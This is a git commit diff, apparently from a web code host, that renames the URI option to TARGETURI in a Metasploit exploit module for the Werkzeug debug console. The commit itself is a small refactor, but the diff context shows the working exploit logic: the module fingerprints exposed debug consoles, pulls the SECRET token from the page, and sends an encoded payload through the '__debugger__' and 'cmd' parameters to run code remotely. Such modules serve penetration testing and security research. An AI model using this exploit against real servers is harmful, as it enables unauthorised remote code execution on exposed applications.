changed URI to TARGETURI as per comments
parent
8819674522
commit
57f62ffa76
|
@ -36,7 +36,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI',[true,'URI to the console','/console'])
|
||||
OptString.new('TARGETURI',[true,'URI to the console','/console'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
@ -44,7 +44,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['URI'])
|
||||
'uri' => normalize_uri(datastore['TARGETURI'])
|
||||
})
|
||||
#https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
|
||||
if res and res.body =~ /Werkzeug powered traceback interpreter/
|
||||
|
@ -57,14 +57,14 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
#first we need to get the SECRET code
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['URI'])
|
||||
'uri' => normalize_uri(datastore['TARGETURI'])
|
||||
})
|
||||
if res and res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/
|
||||
secret = res.body.match(/SECRET = "([a-zA-Z0-9]{20})";/).captures[0]
|
||||
vprint_status("Secret Code: #{secret}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'uri' => normalize_uri(datastore['TARGETURI']),
|
||||
'vars_get' => {
|
||||
'__debugger__' => 'yes',
|
||||
'cmd' => payload.encoded,
|
||||
|
|
Loading…
Reference in New Issue